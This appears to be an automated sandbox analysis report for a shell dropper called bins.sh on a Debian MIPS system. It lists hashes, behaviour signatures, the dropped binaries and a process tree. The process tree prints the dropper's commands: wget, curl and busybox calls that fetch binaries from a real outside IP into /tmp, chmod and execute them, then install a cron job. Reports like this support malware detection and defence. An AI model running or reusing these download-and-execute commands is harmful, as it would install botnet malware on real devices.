Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09-11-2024 10:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    782fad2003d7212f3365eba40d6e6f9b

  • SHA1

    8d89fb07236bddaa91ccd1787427a115576d0f3b

  • SHA256

    4c23b7f175bcf21ff03b72a53f53a2d88d62cefa2c5ec0b74dd941d32183a69d

  • SHA512

    987fe627b321243f135aa61cd6b131d1049e2c35c1662fbade1459ba3d19e5a4c460d1af5b9ecb348c1c0ee653a48cdcb3b65fdc5ae2abbf06eab66d65810c2a

  • SSDEEP

    192:BzrjeSOvHJiSiswV1gyz2BgV1R5QQQRiuYr1R5QQciuYGbyHBiSiswVJzrjeSOV:AxiSiJV1g4qgcRiuYmiuYGoiSiJVO

Malware Config

Signatures

  • Contacts a large (1757) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:708
        • /usr/bin/wget
          wget http://216.126.231.240/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Writes file to tmp directory
          PID:734
        • /bin/chmod
          chmod 777 XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          ./XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:736
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:738
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:739
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:740
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:741
              • /bin/rm
                rm XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
                2⤵
                  PID:745
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
                  2⤵
                    PID:746
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
                    2⤵
                      PID:747
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
                      2⤵
                      • Writes file to tmp directory
                      PID:832
                    • /bin/chmod
                      chmod 777 I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
                      2⤵
                      • File and Directory Permissions Modification
                      PID:833
                    • /tmp/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
                      ./I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
                      2⤵
                      • Executes dropped EXE
                      PID:834
                    • /bin/rm
                      rm I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
                      2⤵
                        PID:836
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
                        2⤵
                          PID:837
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
                          2⤵
                            PID:838
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
                            2⤵
                            • Writes file to tmp directory
                            PID:839
                          • /bin/chmod
                            chmod 777 pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
                            2⤵
                            • File and Directory Permissions Modification
                            PID:841
                          • /tmp/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
                            ./pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
                            2⤵
                            • Executes dropped EXE
                            PID:842
                          • /bin/rm
                            rm pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
                            2⤵
                              PID:844
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                              2⤵
                                PID:845
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                                2⤵
                                  PID:846
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:847
                                • /bin/chmod
                                  chmod 777 uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:852
                                • /tmp/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                                  ./uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                                  2⤵
                                  • Executes dropped EXE
                                  PID:857
                                • /bin/rm
                                  rm uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                                  2⤵
                                    PID:859
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                                    2⤵
                                      PID:860
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                                      2⤵
                                        PID:865
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:866
                                      • /bin/chmod
                                        chmod 777 lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:867
                                      • /tmp/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                                        ./lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                                        2⤵
                                        • Executes dropped EXE
                                        PID:868
                                      • /bin/rm
                                        rm lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                                        2⤵
                                          PID:871
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                                          2⤵
                                            PID:873
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                                            2⤵
                                              PID:875
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:877
                                            • /bin/chmod
                                              chmod 777 zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:887
                                            • /tmp/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                                              ./zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                                              2⤵
                                              • Executes dropped EXE
                                              PID:888
                                            • /bin/rm
                                              rm zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                                              2⤵
                                                PID:890
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                                                2⤵
                                                  PID:892
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.240/bins/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                                                  2⤵
                                                    PID:894
                                                  • /bin/busybox
                                                    /bin/busybox wget http://216.126.231.240/bins/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:905
                                                  • /bin/chmod
                                                    chmod 777 LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:912
                                                  • /tmp/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                                                    ./LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:913
                                                  • /bin/rm
                                                    rm LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw
                                                    2⤵
                                                      PID:917
                                                    • /usr/bin/wget
                                                      wget http://216.126.231.240/bins/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                                                      2⤵
                                                        PID:918
                                                      • /usr/bin/curl
                                                        curl -O http://216.126.231.240/bins/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                                                        2⤵
                                                          PID:920
                                                        • /bin/busybox
                                                          /bin/busybox wget http://216.126.231.240/bins/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:922
                                                        • /bin/chmod
                                                          chmod 777 Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:929
                                                        • /tmp/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                                                          ./Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:930
                                                        • /bin/rm
                                                          rm Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe
                                                          2⤵
                                                            PID:934
                                                          • /usr/bin/wget
                                                            wget http://216.126.231.240/bins/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                                                            2⤵
                                                              PID:935
                                                            • /usr/bin/curl
                                                              curl -O http://216.126.231.240/bins/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                                                              2⤵
                                                                PID:940
                                                              • /bin/busybox
                                                                /bin/busybox wget http://216.126.231.240/bins/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:942
                                                              • /bin/chmod
                                                                chmod 777 r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:949
                                                              • /tmp/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                                                                ./r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                                                                2⤵
                                                                • Executes dropped EXE
                                                                PID:950
                                                              • /bin/rm
                                                                rm r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL
                                                                2⤵
                                                                  PID:952
                                                                • /usr/bin/wget
                                                                  wget http://216.126.231.240/bins/MtlYvPgalAwf0cPctLH9JIaxbZZlajvEyx
                                                                  2⤵
                                                                    PID:953
                                                                  • /usr/bin/curl
                                                                    curl -O http://216.126.231.240/bins/MtlYvPgalAwf0cPctLH9JIaxbZZlajvEyx
                                                                    2⤵
                                                                      PID:957
                                                                    • /bin/busybox
                                                                      /bin/busybox wget http://216.126.231.240/bins/MtlYvPgalAwf0cPctLH9JIaxbZZlajvEyx
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:959
                                                                    • /bin/chmod
                                                                      chmod 777 MtlYvPgalAwf0cPctLH9JIaxbZZlajvEyx
                                                                      2⤵
                                                                      • File and Directory Permissions Modification
                                                                      PID:964
                                                                    • /tmp/MtlYvPgalAwf0cPctLH9JIaxbZZlajvEyx
                                                                      ./MtlYvPgalAwf0cPctLH9JIaxbZZlajvEyx
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      PID:965
                                                                    • /bin/rm
                                                                      rm MtlYvPgalAwf0cPctLH9JIaxbZZlajvEyx
                                                                      2⤵
                                                                        PID:967
                                                                      • /usr/bin/wget
                                                                        wget http://216.126.231.240/bins/zm8pYV5tLGRrfNmA0xLw9IGBDO7DzLEvHF
                                                                        2⤵
                                                                          PID:968

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v15

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • /tmp/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72

                                                                        Filesize

                                                                        122KB

                                                                        MD5

                                                                        cd3d4b9c643e5b473fb4d88ed05f0716

                                                                        SHA1

                                                                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                                        SHA256

                                                                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                                        SHA512

                                                                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                                      • /tmp/LLAy5b3qUbKL1bE5Z2dObb6ditpJkxiFuw

                                                                        Filesize

                                                                        99KB

                                                                        MD5

                                                                        9438d9bc392bcf300a5583b6df5bc8f6

                                                                        SHA1

                                                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                                                        SHA256

                                                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                                        SHA512

                                                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                                      • /tmp/MtlYvPgalAwf0cPctLH9JIaxbZZlajvEyx

                                                                        Filesize

                                                                        111KB

                                                                        MD5

                                                                        ca897a38f23ec23521ce0b1b83f8422d

                                                                        SHA1

                                                                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                                        SHA256

                                                                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                                        SHA512

                                                                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                                      • /tmp/Q3qcSM8PdxpYQPAqrRWBukMuphEk2XInhe

                                                                        Filesize

                                                                        127KB

                                                                        MD5

                                                                        89077b7bd4bcafca7713be43635c4862

                                                                        SHA1

                                                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                                                        SHA256

                                                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                                        SHA512

                                                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                                      • /tmp/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR

                                                                        Filesize

                                                                        151KB

                                                                        MD5

                                                                        6c583043d91c55aa470c08c87058e917

                                                                        SHA1

                                                                        abf65a5b9bba69980278ad09356e53de8bb89439

                                                                        SHA256

                                                                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                                        SHA512

                                                                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                                      • /tmp/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT

                                                                        Filesize

                                                                        177KB

                                                                        MD5

                                                                        786d75a158fe731feca3880f436082c0

                                                                        SHA1

                                                                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                                        SHA256

                                                                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                                        SHA512

                                                                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                                      • /tmp/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT

                                                                        Filesize

                                                                        117KB

                                                                        MD5

                                                                        849fa04ef88a8e8de32cb2e8538de5fe

                                                                        SHA1

                                                                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                                        SHA256

                                                                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                                        SHA512

                                                                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                                      • /tmp/r3JPDVh4VoEsIY8xIA0VeRNa3WMNRxk0pL

                                                                        Filesize

                                                                        151KB

                                                                        MD5

                                                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                                                        SHA1

                                                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                                        SHA256

                                                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                                        SHA512

                                                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                                      • /tmp/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ

                                                                        Filesize

                                                                        112KB

                                                                        MD5

                                                                        05d7857dcead18bbd86d2935f591873c

                                                                        SHA1

                                                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                                        SHA256

                                                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                                        SHA512

                                                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                                      • /tmp/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz

                                                                        Filesize

                                                                        119KB

                                                                        MD5

                                                                        1b166b95f9cb4b079ef1b9ec8363ddf3

                                                                        SHA1

                                                                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                                        SHA256

                                                                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                                        SHA512

                                                                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                                      • /var/spool/cron/crontabs/tmp.73Nj75

                                                                        Filesize

                                                                        210B

                                                                        MD5

                                                                        92607cc02cf3a3efaf29df23462093b1

                                                                        SHA1

                                                                        75d8866df4d04a4c061d464bf1fc7a7ec01833e2

                                                                        SHA256

                                                                        9921f9b3ef5852a54637562fa599d51b8248618f69b5343ffe0df195d6b59336

                                                                        SHA512

                                                                        ae309d63fcfc651d6917ffa8ff35f982c00927e6f26760832d02564e0bc9f486b3a1ba54668154061e49d40d72f007d6a0371bec293d01b8405484aea5c92612